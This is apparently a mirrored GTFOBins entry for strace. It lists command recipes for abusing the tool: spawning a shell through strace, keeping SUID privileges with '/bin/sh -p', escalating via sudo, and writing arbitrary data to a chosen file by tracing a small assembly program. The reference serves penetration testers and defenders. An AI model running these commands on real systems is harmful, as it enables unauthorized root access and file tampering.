1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/strace.md
2021-05-03 20:05:47 +02:00

779 B

functions
file-write shell suid sudo
description code
write DATA to $WFILE LFILE=$(mktemp --suffix=.s) WFILE=file-to-write elf=$(mktemp -u) vi $LFILE ;#####CODE START##### .global _start _start: .intel_syntax noprefix mov rax,2 lea rdi,[rip+DATA] mov rsi, 0 syscall mov rax,60 mov rdi,0 syscall DATA: .string "THIS IS THE DATA NEED TO BE WRITTEN USING STRACE" ;#####CODE END##### :wq gcc -nostdlib --static $LFILE -o $elf strace -o $WFILE $elf
code
strace -o /dev/null /bin/sh
code
./strace -o /dev/null /bin/sh -p
code
sudo strace -o /dev/null /bin/sh